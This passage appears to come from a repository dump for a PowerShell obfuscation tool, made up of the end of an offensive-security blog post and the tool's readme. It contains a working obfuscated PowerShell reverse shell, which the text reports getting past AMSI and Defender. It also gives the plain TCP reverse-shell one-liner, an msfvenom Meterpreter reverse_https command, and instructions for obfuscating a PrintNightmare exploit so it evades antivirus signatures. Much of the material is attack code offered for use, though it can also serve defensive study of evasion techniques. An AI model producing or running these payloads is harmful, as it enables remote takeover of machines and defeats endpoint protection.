Value\n\"JNtT3Y9z6LRjVGoU7MgD4OrQ.Txr1l6Mghd8ntYEV3oAkHwR.pIc2CSBi7ga6Z.ALwSbKxoVU\".replace('I8rWN0',10).replace('ytsOhBMvTD2SQ5FnXmbzY7',10).replace('pIc2CSBi7ga6Z',10).replace('ALwSbKxoVU',10).replace('KGDi56aYENHfe3xLAbP',10).replace('jROhMQpqkYxUSl',10).replace('JNtT3Y9z6LRjVGoU7MgD4OrQ',10).replace('Txr1l6Mghd8ntYEV3oAkHwR',10).replace('ytsOhBMvTD2SQ5FnXmbzY7',10).replace('I8rWN0',10).replace('jROhMQpqkYxUSl',10).replace('KGDi56aYENHfe3xLAbP',10)\n```\n    \n### Strings\n\nStrings can be fun to work with because you can do virtually anything you want. This method will convert a string into individual characters and concatentate them together with the `+` operation. After that's finished, it'll wrap the value within a random amount of ground operations.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_quoting_rules?view=powershell-7.1\n\n```powershell\n# Generator \n$string = 'PS '\n\n$newValue = ((($string -replace '''') -split '') -join \"'+'\")\n$newValue = $newValue.Substring(2, $newValue.Length - 4)\n\n$count = 1..3 | Get-Random\n$iterations = 1\nwhile ($iterations -le $count) {\n    # Subexpression operator\n    if ((1..2 | Get-Random) -eq 1) {\n        $newValue = '$(' + $newValue + ')'\n    }\n    # Grouping Expression operator\n    else {\n        $newValue = '(' + $newValue + ')'\n    }\n    $iterations++\n}\n\n# New Value\n($(('P'+'S'+' ')))\n```\n\n### Variables\n\nVariables are tricky as you are relatively limited on what you can do. What I typically like to is to take each variable and generate a random name to replace it. This will select up to 25 numbers at random from the given alpha-numerical set and concatenating them together and append the resulting value to the `$` symbol to form a proper variable name.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.1\n\n```powershell\n# Generator\n$NewValue = '$' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '')\n\n# New Value\n$e3PV2fUKDR\n```\n\n### Final Payload\n\nPutting all these different techniques together, we have transformed our payload into a newly obfuscated payload.\n\n```powershell\n$RIh2YMeUrLleflu = & ((\"bkJFpDG8iOerRVvo9xzsfjABHPgI5WYq4-$(0+6)h3ynN1aTEKXudm27LQlwtMCc0SUZ\")[$(0-0+0-39+39+39),$(0-0+0+10),$(54),$(0-0+33),$(0+0+0-0+0-9+9+9),$(0+0+0),21,$(0-0+0+10),$($(58)),(55)] -join '') $([char]($(0+6)*$(83)/$(0+6))+[char]($(46+46+0-0-46)+$(121+121+0+0-121)-$(46+46+0-0-46))+[char]($(0-0+0-0-102+102+102)*$(0-0+0+115)/$(0-0+0-0-102+102+102))+[char]($(0+0+0)+$(116)-$(0+0+0))+[char]($(0+0-0-0+3)+(((101)))-$(0+0-0-0+3))+[char]($(((28)))*(109)/$(((28))))+[char]($(1)*$(46+46+0-0-46)/$(1))+[char]($(0+0+0)+$(0-0+0-0-0+78)-$(0+0+0))+[char]($(0+0+0+19)+(((101)))-$(0+0+0+19))+[char](118+$(116)-118)+[char]($(0-0+0-39+39+39)*$(46+46+0-0-46)/$(0-0+0-39+39+39))+[char]($(0+0+0)+$(83)-$(0+0+0))+[char]($(15+15+0+0+0+0-15)*$((111))/$(15+15+0+0+0+0-15))+[char]($(11)*$(0+0+0+99)/$(11))+[char]($(0+0+0)+$(0+0-107+107+107)-$(0+0+0))+[char](24+(((101)))-24)+[char]($((75))*$(116)/$((75)))+[char]($(60)*$(0-0+0+115)/$(60))+[char]($(0+0+0)+$(46+46+0-0-46)-$(0+0+0))+[char]($(0+0+0)+84-$(0+0+0))+[char]($(0+0+0)+$($($(67)))-$(0+0+0))+[char]($($(100))+80-$($(100)))+[char]($(0-0-0-5+5+5)+$($($(67)))-$(0-0-0-5+5+5))+[char]($(0+0+0+19)*$(108)/$(0+0+0+19))+[char]($(94+94+0-0+0-94)+(($(105)))-$(94+94+0-0+0-94))+[char]($(0+0+0+0+113)+(((101)))-$(0+0+0+0+113))+[char]($(108)+110-$(108))+[char]($(0+0+0)+$(116)-$(0+0+0)))(\"Eztpe9HAJhx0CsSoVdQai.inkFe35GxjHEZugbD17Ur.fLgCcGp4z.H2RDbaXwLSUzI46Oo8xA\".replace('fLgCcGp4z',0).replace('Eztpe9HAJhx0CsSoVdQai',127).replace('inkFe35GxjHEZugbD17Ur',0).replace('H2RDbaXwLSUzI46Oo8xA',1),4444);$VQzo0MZvYst = (& ((\"Kq6lEhs17kBIGeSjvXwAr4cYnfT5WLPRxOyZQd8U-b9omziMCgu3J0FpVaHDN2t\")[$(46+46+0-0-46),24,$(0-0+0+16),$(43),$(0+0+0-0+0-9+9+9),(13),(($(40))),(13),$(32+32+0+0-32),(55),$(20),(13),$(0+6),$(0+6),$(46+46+0-0-46),$(43),24] -join '') ([string]::join('', ( (36,$(82),73,$(104),(((50))),$(0+0+89),$(77),(((101))),(($(85))),$(0+0-0+114),$(0-0+76),$(108),(((101))),$(0-0+0-0-102+102+102),$(108),$(117+117+0+0-0+0-117),$(46+46+0-0-46),$(71),(((101))),$(116),$(83),$(116),$(0+0-0+114),(((101))),$((97)),(109),(($(40))),41) |%{ ( [char][int] $_)})) | % {$_}));[byte[]]$aKydB9RXv2thuU = $(0+0+0)..$($($(65535)))|<##>%{<#$(0+0-0-0+3)GT4BWEX1Kon2#>$_}|& ((\"NAMCqn9H23mOzfrZeP461KyWULshapxR-jIJviEo0kQtFDlGwuST7dBcVbYg8X5\")[(44),$(0-0+0-39+39+39),$(14),(((38))),$(((28))),(55),$(27+27+0+0+0-27),$(32+32+0+0-32),$(11),($((57))),$(0-0+33),$(0-0+0+16),(55),$(43)] -join ''){$(0+0+0)};while(($cvB4PPcLVI = $VQzo0MZvYst.Read($aKydB9RXv2thuU, $(0+0+0), $aKydB9RXv2thuU.Length)) -ne $(0+0+0)){;$WcDamZqInJS7HDr3 = (& ((\"bkJFpDG8iOerRVvo9xzsfjABHPgI5WYq4-$(0+6)h3ynN1aTEKXudm27LQlwtMCc0SUZ\")[$(0-0+0-39+39+39),$(0-0+0+10),$(54),$(0-0+33),$(0+0+0-0+0-9+9+9),$(0+0+0),21,$(0-0+0+10),$($(58)),(55)] -join '') -TypeName $([char]($(116)+$(83)-$(116))+[char]($(0+0+0)+$(121+121+0+0-121)-$(0+0+0))+[char]((($(85)))*$(0-0+0+115)/(($(85))))+[char]($(0+0+52)+$(116)-$(0+0+52))+[char]($(43)+(((101)))-$(43))+[char]($(14)+(109)-$(14))+[char](24+$(46+46+0-0-46)-24)+[char]($(0+0+0)+84-$(0+0+0))+[char]($(0+0+0)+(((101)))-$(0+0+0))+[char]($(0+0+0)+$(0-120+120+120)-$(0+0+0))+[char](24+$(116)-24)+[char](($((57)))+$(46+46+0-0-46)-($((57))))+[char]($(0+0+0)+((65))-$(0+0+0))+[char]($(121+121+0+0-121)+$(83)-$(121+121+0+0-121))+[char]($(0+0+0)+$($($(67)))-$(0+0+0))+[char]($(0+0-0+47)*73/$(0+0-0+47))+[char]($((75))+73-$((75)))+[char]($(0+0-0-0+3)*69/$(0+0-0-0+3))+[char]($(0+0-0-0+3)*110/$(0+0-0-0+3))+[char]($(0+0+0)+$(0+0+0+99)-$(0+0+0))+[char]($(94+94+0-0+0-94)*$((111))/$(94+94+0-0+0-94))+[char]((109)*$($(100))/(109))+[char]($(0+0+0)+(($(105)))-$(0+0+0))+[char](((61))+110-((61)))+[char]($(23+23+0+0+0-0-23)+$(0+0-0+0-103+103+103)-$(23+23+0+0+0-0-23)))).GetString($aKydB9RXv2thuU,$(0+0+0), $cvB4PPcLVI);$FP8DpgPcK0IovuDHPZ4p = (& ((\"jc79lahBD50zmLSoGOAWJ6bEVTCZn-gfHRqQIs83k1KMyvYi2UPxdwFrptueX4N\")[36,$(((28))),$(($(45))),$(15+15+0+0+0+0-15),(($(40))),$(0+0-0-0+59),$(29),$(23+23+0+0+0-0-23),($(51)),($($(56))),(55),$(0+0-0-0+59),$((37)),$((37)),$(0+0-0+47),$(15+15+0+0+0+0-15),$(((28)))] -join '') $WcDamZqInJS7HDr3 2>&1 |<##>%{<#c8jKdSaJDXH#>$_}| & ((\"r2-$(0-0-0-5+5+5)kGjMq4wbPSpReXc3861oBCfYULI0nEhaTvylDxHWuzVJsA79igmtNKdFOQZ\")[$(60),(44),(55),$(0-0+2),(13),(55),$(0+0+0),$(0+0+52),$(32+32+0+0-32),$(53+53+0-53)] -join '') );$FP8DpgPcK0IovuDHPZ4p2 = $FP8DpgPcK0IovuDHPZ4p + 'P'+'S'+' ' + (& ((\"Xm965ksBJzH0P4Tx3fq-uV2YDWvw1pGA8OQdEoUiZyIKRbL7tMjNnerlacgCFhS\")[$($(30)),$(53+53+0-53),$(0+48),$(0+0+0+19),$(46+46+0-0-46),$((37)),($((57))),($($(56))),$(0+48),$(0-0+0-39+39+39),$((37)),$(0+0+52)] -join '')).Path + $('>'+' ');$6j = ([text.encoding]::ASCII).GetBytes($FP8DpgPcK0IovuDHPZ4p2);$VQzo0MZvYst.Write($6j,$(0+0+0),$6j.Length);& ((\"kOlASeNV-$(0+0+0-0+0-9+9+9)oIy0izxUGYCWLq1Bm7EuH3dK6rjPc8shnJMtwQR45XTpbfDFaZ2gv\")[$(14),$(0+0-0-0+0-42+42+42),$(0+0+0+62),$(0-0+0+10),$(0+0+0),$(0-0-0-5+5+5),(8),$(0-0-0-5+5+5),$(0-0+0+16),$(53+53+0-53),35,$(0-0-0-5+5+5),(($(40))),(($(40))),$(14),$(0-0+0+10),$(0+0-0-0+0-42+42+42)] -join '') ([string]::join('', ( (36,$(86),$(81+81+0+0-81),$(122),$((111)),$(0+48),$(77),$(((90))),118,$(0+0+89),$(0-0+0+115),$(116),$(46+46+0-0-46),$($(70)),$(108),$(117+117+0+0-0+0-117),$(0-0+0+115),$(104),(($(40))),41) |%{ ( [char][int] $_)})) | % {$_})};& ((\"$(0-0-0-5+5+5)h7KWXyczN0sentgPElZ-QviSjuR9L1mdf3pDVTUo8Gqk4CYrHxBA2baIw6MFOJ\")[$(23+23+0+0+0-0-23),(13),$($($(22))),(($(40))),(44),12,$(20),12,(((50))),35,$(0+48),12,$(11),$(11),$(23+23+0+0+0-0-23),(($(40))),(13)] -join '') ([string]::join('', ( (36,$(82),73,$(104),(((50))),$(0+0+89),$(77),(((101))),(($(85))),$(0+0-0+114),$(0-0+76),$(108),(((101))),$(0-0+0-0-102+102+102),$(108),$(117+117+0+0-0+0-117),$(46+46+0-0-46),$($($(67))),$(108),$((111)),$(0-0+0+115),(((101))),(($(40))),41) |%{ ( [char][int] $_)})) | % {$_})\n```\n\nIf you were to copy this payload over to an IDE such as Visual Studio Code, you may see some odd errors. One of the lessons learned from this approach is that if your IDE can't even determine whether or not certain characters exist (until it's executed) then the chances of AMSI being effective is less than likely. If you'd like to test this payload yourself, it's set to connect to 127.0.0.1 on port 4444. \n\n## Stepping into the gauntlet\n\nTo demonstrate the effectiveness of this approach, let's put it to the test against a fully patched Windows 10 Enterprise machine with all the default Defender options enabled. We'll start off by using the vanilla reverse shell. The plain text version of the shell is blocked as expected, however, our obfuscated payload is free to run at will.\n\n### Windows 10 Version + Defender Status\n![Alt text](./screenshots/w10-defender-status.png \"w10-defender-status\")\n\n### AMSI Blocked\n![Alt text](./screenshots/amsi-blocked.png \"amsi-blocked\")\n\n### AMSI Bypassed\n![Alt text](./screenshots/amsi-bypassed.png \"amsi-bypassed\")\n\n## Invoke-PSObfuscation.ps1\n\nWithin this blog post I shared a lot of code snippets. While it may be fun for some (yes, I said fun!), to execute them individually to build out your payload for each component instance, it's not really time effective. To help automate the layer 0 strategies I discussed here I have written Invoke-PSObfuscation.ps1 to share with the Offensive Security Community.\n\nWith each component I have shown you a single generator and they may not survice the test of time as AV vendors improve their detection methods. To aid in the integrity of this approach, each supported component has its own dedicated generator that contains a variety of possible static or dynamically generated values that are randomly selected during each invocation. This adds a degree of randomness each time you run this tool against a given payload so each iteration will be different. \n\nIf an algorithm related to a specific component starts to get flagged, the current design allows us to easily modify the logic for that generator without compromising the entire script. If would like to see how far down the rabbit hole goes, you can look at this tool in more detail here https://github.com/gh0x0st/Invoke-PSObfuscation\n\n## Wrapping Up\n\nAs quickly as new obfuscation techniques appear so do the controls that impact their effectiveness. This alone should teach every one of us to keep one foot in the door of being comfortable and the other on the side of trying to find new ways to accomplish the same goal.\n\n## Resources\n\n* (Microsoft, 2019): https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal\n* (Microsoft, 2019): https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps\n* (Microsoft, 2019): https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience\n* (Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.1\n* (Microsoft, 2020): https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_character_encoding?view=powershell-7.1\n* (Microsoft, 2021): https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-string?view=powershell-7.1\n* (Microsoft, 2020): https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/cmdlet-overview?view=powershell-7.1\n"
  },
  {
    "path": "readme.md",
    "content": "# Invoke-PSObfuscation\n\nTraditional obfuscation techniques tend to add layers to encapsulate standing code, such as base64 or compression. These payloads do continue to have a varied degree of success, but they have become trivial to extract the intended payload and some launchers get detected often, which essentially introduces chokepoints.\n\nThe approach this tool introduces is a methodology where you can target and obfuscate the individual components of a script with randomized variations while achieving the same intended logic, without encapsulating the entire payload within a single layer. Due to the complexity of the obfuscation logic, the resulting payloads will be very difficult to signature and will slip past heuristic engines that are not programmed to emulate the inherited logic.\n\nWhile this script can obfuscate most payloads successfully on it's own, this project will also serve as a standing framework that I will to use to produce future functions that will utilize this framework to provide dedicated obfuscated payloads, such as one that only produces reverse shells.\n\nI wrote a blog piece for Offensive Security as a precursor into the techniques this tool introduces. Before venturing further, consider giving it a read first:\nhttps://www.offensive-security.com/offsec/powershell-obfuscation/\n\n## Dedicated Payloads\n\nAs part of my on going work with PowerShell obfuscation, I am building out scripts that produce dedicated payloads that utilize this framework. These have helped to save me time and hope you find them useful as well. You can find them within their own folders at the root of this repository.\n\n1. Get-ReverseShell\n2. Get-DownloadCradle\n3. Get-Shellcode\n\n## Components\n\nLike many other programming languages, PowerShell can be broken down into many different components that make up the executable logic. This allows us to defeat signature-based detections with relative ease by changing how we represent individual components within a payload to a form an obscure or unintelligible derivative. \n\nKeep in mind that targeting every component in complex payloads is very instrusive. This tool is built so that you can target the components you want to obfuscate in a controlled manner. I have found that a lot of signatures can be defeated simply by targeting cmdlets, variables and any comments. When using this against complex payloads, such as print nightmare, keep in mind that custom function parameters / variables will also be changed. Always be sure to properly test any resulting payloads and ensure you are aware of any modified named paramters.\n\nComponent types such as pipes and pipeline variables are introduced here to help make your payload more obscure and harder to decode. \n\n**Supported Types**\n\n* Aliases (iex)\n* Cmdlets (New-Object)\n* Comments (# and <# #>)\n* Integers (4444)\n* Methods ($client.GetStream())\n* Namespace Classes (System.Net.Sockets.TCPClient)\n* Pipes (|)\n* Pipeline Variables ($_)\n* Strings (\"value\" | 'value')\n* Variables ($client)\n\n## Generators\n\nEach component has its own dedicated generator that contains a list of possible static or dynamically generated values that are randomly selected during each execution. If there are multiple instances of a component, then it will iterative each of them individually with a generator. This adds a degree of randomness each time you run this tool against a given payload so each iteration will be different. The only exception to this is variable names.\n\nIf an algorithm related to a specific component starts to cause a payload to flag, the current design allows us to easily modify the logic for that generator without compromising the entire script.\n\n```powershell\n$Picker = 1..6 | Get-Random\nSwitch ($Picker) {\n    1 { $NewValue = 'Stay' }\n    2 { $NewValue = 'Off' }\n    3 { $NewValue = 'Ronins' }\n    4 { $NewValue = 'Lawn' }\n    5 { $NewValue = 'And' }\n    6 { $NewValue = 'Rocks' }\n}\n```\n\n## Requirements\n\nThis framework and resulting payloads have been tested on the following operating system and PowerShell versions. The resulting reverse shells will not work on PowerShell v2.0\n\n| PS Version | OS Tested | Invoke-PSObfucation.ps1 | Reverse Shell\n| -------------- | :--------- | :--------- | :--------- |\n| 7.1.3 | Kali 2021.2 | Supported | Supported\n| 5.1.19041.1023 | Windows 10 10.0.19042 | Supported | Supported\n| 5.1.21996.1 | Windows 11 10.0.21996 | Supported | Supported\n\n## Usage Examples\n\n### CVE-2021-34527 (PrintNightmare)\n\n```shell\n┌──(tristram㉿kali)-[~]\n└─$ pwsh\nPowerShell 7.1.3\nCopyright (c) Microsoft Corporation.\n\nhttps://aka.ms/powershell\nType 'help' to get help.\n\nPS /home/tristram> . ./Invoke-PSObfuscation.ps1\nPS /home/tristram> Invoke-PSObfuscation -Path .\\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1\n\n     >> Layer 0 Obfuscation\n     >> https://github.com/gh0x0st\n\n[*] Obfuscating namespace classes\n[*] Obfuscating cmdlets\n[*] Obfuscating variables\n[-] -DriverName is now -QhYm48JbCsqF\n[-] -NewUser is now -ybrcKe\n[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth\n[-] -DLL is now -dNr\n[-] -ModuleName is now -jd\n[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o\n[-] -Type is now -fjTOTLDCGufqEu\n[-] -FullName is now -0vEKnCqm\n[-] -EnumElements is now -B9aFqfvDbjtOXPxrR\n[-] -Bitfield is now -bFUCG7LB9gq50p4e\n[-] -StructFields is now -xKryDRQnLdjTC8\n[-] -PackingSize is now -0CB3X\n[-] -ExplicitLayout is now -YegeaeLpPnB\n[*] Removing comments\n[*] Writing payload to o-printnightmare.ps1\n[*] Done\n\nPS /home/tristram> \n```\n\n### PowerShell Reverse Shell\n\n```powershell\n$client = New-Object System.Net.Sockets.TCPClient(\"127.0.0.1\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\n```\n\n```shell\n┌──(tristram㉿kali)-[~]\n└─$ pwsh \nPowerShell 7.1.3\nCopyright (c) Microsoft Corporation.\n\nhttps://aka.ms/powershell\nType 'help' to get help.\n\nPS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            \nPS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges\n\n     >> Layer 0 Obfuscation\n     >> https://github.com/gh0x0st\n\n[*] Obfuscating integers\n    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)\n    Generator 1 >> 65535 >> $((65535))\n[*] Obfuscating strings\n    Generator 2 >> 127.0.0.1 >> $([char](16*49/16)+[char](109*50/109)+[char](0+55-0)+[char](20*46/20)+[char](0+48-0)+[char](0+46-0)+[char](0+48-0)+[char](0+46-0)+[char](51*49/51))\n    Generator 2 >> PS  >> $([char](1*80/1)+[char](86+83-86)+[char](0+32-0))\n    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})\n[*] Obfuscating cmdlets\n    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})\n    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})\n    Generator 1 >> Out-String >> & ((\"Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B\")[13,16,3,25,35,3,55,57,17,49] -join '')\n[*] Writing payload to /home/tristram/obfuscated.ps1\n[*] Done\n```\n\n### Obfuscated PowerShell Reverse Shell\n\n![Alt text](./screenshots/0bFu5c4t3d.jpg \"0bFu5c4t3d\")\n\n### Meterpreter PowerShell Shellcode\n\n```shell\n┌──(tristram㉿kali)-[~]\n└─$ pwsh \nPowerShell 7.1.3\nCopyright (c) Microsoft Corporation.\n\nhttps://aka.ms/powershell\nType 'help' to get help.\n\nPS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1\n[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload\n[-] No arch selected, selecting arch: x86 from the payload\nNo encoder specified, outputting raw payload\nPayload size: 686 bytes\nFinal size of ps1 file: 3385 bytes\nSaved as: meterpreter.ps1\nPS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        \nPS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     \n\n     >> Layer 0 Obfuscation\n     >> https://github.com/gh0x0st\n\n[*] Obfuscating integers\n[*] Obfuscating variables\n[*] Writing payload to o-meterpreter.ps1\n[*] Done\n```\n\n## Comment-Based Help\n \n```powershell\n<#\n    .SYNOPSIS\n        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.\n    \n    .DESCRIPTION\n        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, \n        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation \n        focuses on replacing the existing components of your code, or layer 0, with alternative values. \n    \n    .PARAMETER Path\n        A user provided PowerShell payload via a flat file.\n    \n    .PARAMETER All\n        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive\n        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse\n        shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of \n        the generators introduced in this script may even confuse your ISE so be sure to test properly.\n        \n    .PARAMETER Aliases\n        The aliases switch is used to instruct the function to obfuscate aliases.\n\n    .PARAMETER Cmdlets\n        The cmdlets switch is used to instruct the function to obfuscate cmdlets.\n\n    .PARAMETER Comments\n        The comments switch is used to instruct the function to remove all comments.\n\n    .PARAMETER Integers\n        The integers switch is used to instruct the function to obfuscate integers.\n\n    .PARAMETER Methods\n        The methods switch is used to instruct the function to obfuscate method invocations.\n\n    .PARAMETER NamespaceClasses\n        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.\n    \n    .PARAMETER Pipes\n        The pipes switch is used to instruct the function to obfuscate pipes.\n\n    .PARAMETER PipelineVariables\n        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.\n\n    .PARAMETER ShowChanges\n        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.\n\n    .PARAMETER Strings\n        The strings switch is used to instruct the function to obfuscate prompt strings.\n  \n    .PARAMETER Variables\n        The variables switch is used to instruct the function to obfuscate variables.\n\n    .EXAMPLE\n        PS C:\\> Invoke-PSObfuscation -Path .\\revshell.ps1 -All\n    \n    .EXAMPLE\n        PS C:\\> Invoke-PSObfuscation -Path .\\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1\n    \n    .OUTPUTS\n        System.String, System.String\n    \n    .NOTES\n        Additional information about the function.\n#>\n```\n"
  }
]